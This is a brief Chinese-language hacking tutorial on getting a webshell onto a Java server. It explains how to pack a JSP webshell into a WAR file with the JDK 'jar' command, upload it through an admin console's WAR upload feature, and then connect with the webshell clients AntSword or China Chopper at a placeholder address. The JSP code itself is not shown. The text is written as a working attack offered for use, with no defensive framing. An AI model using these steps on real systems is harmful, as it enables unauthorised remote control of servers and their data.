制作war木马上传getshell

0、简介

发现后台有war上传点，尝试拿一下webshell。

1、制作war木马

[管理员模式]打开CMD，执行下面的命令

cd "C:\Program Files\Java\jdk1.8.0_131\bin" 
# 制作war文件
jar cvf shell.war xx.jsp

2、getshell

上传shell.war木马文件，使用蚁剑或菜刀链接： http://x.x.x.x:8080/shell/xx.jsp